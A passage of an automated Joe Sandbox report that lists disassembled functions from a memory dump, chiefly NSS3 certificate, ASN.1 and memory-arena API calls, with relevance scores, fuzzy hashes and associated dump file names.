Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

Part of subcall function 6CE87260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE31CCC,00000000,00000000,?,?), ref: 6CE8729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE9CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CE9CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CE9CE2C

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CE9CE40

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

Part of subcall function 6CE9CEE0: PORT_ArenaMark_Util.NSS3(?,6CE9CD93,?), ref: 6CE9CEEE
Part of subcall function 6CE9CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CE9CD93,?), ref: 6CE9CEFC
Part of subcall function 6CE9CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CE9CD93,?), ref: 6CE9CF0B
Part of subcall function 6CE9CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CE9CD93,?), ref: 6CE9CF1D

Part of subcall function 6CE9CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF47
Part of subcall function 6CE9CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF67
Part of subcall function 6CE9CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CE9CD93,?,?,?,?,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF78

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: bdf0b99de0510723acf4a18a3e52bbe54ba03738b7b66b401cc2bc999be71f2b
Instruction ID: acd4b6b7c6e6115d08bc1f7841765613894691882cd291d56653bc90d9656044
Opcode Fuzzy Hash: bdf0b99de0510723acf4a18a3e52bbe54ba03738b7b66b401cc2bc999be71f2b
Instruction Fuzzy Hash: D851B2B6B011049BEB10EF69DC40BAA73F4AF4834CF350529D95AA7B51EB31ED05CB91

Function 6CEAFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEAFFE5

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEB0004
PR_EnterMonitor.NSS3(?), ref: 6CEB001B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 0ee528b139303f960e14da3a0a11f66ef174d6ac3a2c13968fb4c35c4a84fa47
Instruction ID: a758b92731b48e523eda4d400b87016264b854c209d394f917fd0bdb7378173d
Opcode Fuzzy Hash: 0ee528b139303f960e14da3a0a11f66ef174d6ac3a2c13968fb4c35c4a84fa47
Instruction Fuzzy Hash: C54128F66446808BD7248A28DF517BB72B1AB4130CF30093DD55FEAFA0E375B54AC642

Function 6CEAFEE0 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAFF33
NSS_OptionGet.NSS3(00000001,?), ref: 6CEAFF45
PR_SetError.NSS3(FFFFD084,00000000), ref: 6CEAFF6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAFF9B
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEB0088
PR_ExitMonitor.NSS3(?), ref: 6CEB0180
PR_ExitMonitor.NSS3(?), ref: 6CEB0197

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$ExitMonitor$Option
String ID:
API String ID: 1656454950-0
Opcode ID: 7407102c3c5b3212b6f2742fa57ae84c510a495282c343ab341df06db67aba3a
Instruction ID: cb6156c75a6485ade15404c8bab05554b21c7552f63cf1e675311122349815a9
Opcode Fuzzy Hash: 7407102c3c5b3212b6f2742fa57ae84c510a495282c343ab341df06db67aba3a
Instruction Fuzzy Hash: 553180B6B002509FD7105669DC41BBFB3B9DB86708F20043DE84ADB740E775A90AC792

Function 6CE6EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE6EF38

Part of subcall function 6CE59520: PK11_IsLoggedIn.NSS3(00000000,?,6CE8379E,?,00000001,?), ref: 6CE59542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE6EF53

Part of subcall function 6CE74C20: TlsGetValue.KERNEL32 ref: 6CE74C4C
Part of subcall function 6CE74C20: EnterCriticalSection.KERNEL32(?), ref: 6CE74C60
Part of subcall function 6CE74C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74CA1
Part of subcall function 6CE74C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE74CBE
Part of subcall function 6CE74C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74CD2
Part of subcall function 6CE74C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74D3A

PR_GetCurrentThread.NSS3 ref: 6CE6EF9E

Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

free.MOZGLUE(00000000), ref: 6CE6EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE6F016
free.MOZGLUE(00000000), ref: 6CE6F022

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b58aa9c78a8aec5a8da47fe5891671c477e81c104bc464880039498fca59fcc5
Instruction ID: 82e970e6a69eb2103973be2f5bca5f4d6484747d2c9c86a4fa062ac840200a09
Opcode Fuzzy Hash: b58aa9c78a8aec5a8da47fe5891671c477e81c104bc464880039498fca59fcc5
Instruction Fuzzy Hash: 0041C671E10109AFDF018FA9DC45BEE7BB5AF48348F104029F914A7750E776C915CBA1

Function 6CE5CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE5CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE5D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE5D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5D025
PR_NewLock.NSS3 ref: 6CE5D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE5D074

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: ad898304c08bc222b192b2d8127d17dad354399b39112c7c543d09cedb6f8b3f
Instruction ID: 2c5f74cb02d2d7c07b0af8621e10d92e12fe54fc0e644e5ce1c94c8881edb2b0
Opcode Fuzzy Hash: ad898304c08bc222b192b2d8127d17dad354399b39112c7c543d09cedb6f8b3f
Instruction Fuzzy Hash: 0B41BDB4A012018FDB109F29C98079A7BF5EF0832CFB0416ADC198BB46D776D5A5CBA1

Function 6CEA3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEA3FF2

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEA4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEA400F

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEA4054

Part of subcall function 6CE3BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE3BC24
Part of subcall function 6CE3BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE3BC39
Part of subcall function 6CE3BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE3BC58
Part of subcall function 6CE3BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE3BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEA40CD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: dde3d047a06ffde8ad1c10259ea3f436965938b4fb95ddc2484b6c01e1e0e17e
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 6B312B71E003409BEB008FA59C81BBB3378AF9174CF245229ED099F742FB71E956C292

Function 6CE42E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE32D1A), ref: 6CE42E7E

Part of subcall function 6CE907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE38298,?,?,?,6CE2FCE5,?), ref: 6CE907BF
Part of subcall function 6CE907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE907E6
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE9081B
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE90825

PR_Now.NSS3 ref: 6CE42EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE42EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE32D1A), ref: 6CE42F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE32D1A), ref: 6CE42F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE42F81

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: dbcaa11c30f86765a7a73ba5d4ad7973bb0e739b8e55d515e2bd3a6102706851
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: DB31D77150110087E710C666EC4AFAE7275EFA131CFF4CA79D42DE7AD1EB359886C621

Function 6CE30E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE30A2C), ref: 6CE30E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE30A2C), ref: 6CE30E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE30A2C), ref: 6CE30E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE30A2C), ref: 6CE30E90
free.MOZGLUE(00000000), ref: 6CE30EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE30A2C), ref: 6CE30ED9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 49e404cd82d49b6f75c154464f1ce342ffbdc867f7df374b9a5d77ef6d5c35b8
Instruction ID: 5bfde6ec00b975e024b3456081a28fdc782929fcd17da9ffc3215163f67f4469
Opcode Fuzzy Hash: 49e404cd82d49b6f75c154464f1ce342ffbdc867f7df374b9a5d77ef6d5c35b8
Instruction Fuzzy Hash: 2F216176F002A44BEF00456B5C85B6B72FEDFC274CF392035D81DA3782EA60E815C291

Function 6CE3AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE3AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE3AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE3AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE3AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF59500), ref: 6CE3AF23

Part of subcall function 6CE8F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE8F0C8
Part of subcall function 6CE8F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3AF37

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: fd9194bd387b7445f19d5f61ffd3c21af1f1d79f9e7b4e1a7d4e04eeab336b4b
Instruction ID: 0d6e0b3cae73eac49eda151e2ed39373a8810e5c3687eea0ea0bd5f425d1ecbb
Opcode Fuzzy Hash: fd9194bd387b7445f19d5f61ffd3c21af1f1d79f9e7b4e1a7d4e04eeab336b4b
Instruction Fuzzy Hash: D62128B29452109BEB108F588C02B9A7BB4AF8572CF344318FC189B7C0E731E585C7A7

Function 6CEBEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBEE85
realloc.MOZGLUE(0BCB033D,?), ref: 6CEBEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEBEEC5

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

htonl.WSOCK32(?), ref: 6CEBEEE3
htonl.WSOCK32(00000000,?), ref: 6CEBEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEBEF01

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: e66b477d651157621e553a7e04a7c53bdd08268fc267105d740f8957b4b563cc
Instruction ID: 5cdfa49e6a43d7f6eee63d58308280e6d55c742865a65feed593dc9c094ac6d9
Opcode Fuzzy Hash: e66b477d651157621e553a7e04a7c53bdd08268fc267105d740f8957b4b563cc
Instruction Fuzzy Hash: 6A21A671A006149FDB109F28DD8476AB7B4EF45358F2581A9FC19AB742E730EC14C7E6

Function 6CE6EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE6EE49

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE6EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE6EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE6EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE6EEB3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: d8adb6da118c92dd997b83941192ab4fe1f8f74dc32916a44c9787905415cab1
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: F821F3B6A506106BEB018E59DC81EAB73B8AF4971CF2401A8FD189B741E672EC1487E1

Function 6CE37F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE37F68

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE37F7B

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE37FA7

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF5919C,?), ref: 6CE37FBB

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE37FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF5915C,00000014), ref: 6CE37FFE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
